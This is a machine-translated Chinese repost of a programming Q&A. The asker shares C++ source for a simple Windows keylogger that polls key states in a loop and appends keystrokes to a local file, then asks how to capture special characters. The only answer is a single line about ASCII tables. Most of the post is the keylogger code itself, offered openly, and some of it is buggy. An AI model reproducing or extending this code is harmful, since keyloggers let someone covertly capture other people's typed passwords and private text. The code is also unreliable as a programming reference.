[英]Making a simple c++ keylogger
我已經寫了這個基本的鍵盤記錄器:
#include <tchar.h>
#include <windows.h>
#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <fstream>
int Save(int out)
{
ofstream fout("abc.txt",ios::app);
if (out==9)
fout<<"\nTAB\n";
else if (out==32)
fout<<' ';
else if (out==13)
fout<<'\n';
else if (out==16)
fout<<"\nSHIFT\n";
else if (out>=48&&out<=59)
fout<<out-48;
else if (out>=65&&out<=90)
fout<<char(tolower(out));
fout.close();
}
int main()
{
char i;
while (true)
for (i=8 ; i<190 ; i++)
if (GetAsyncKeyState(i)==-32767)
Save(i);
return 0;
}
我想知道如何確定用戶何時輸入! @#$%^和特殊字符。 我該怎么做?
使用ASCII表查找這些字符的代碼。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.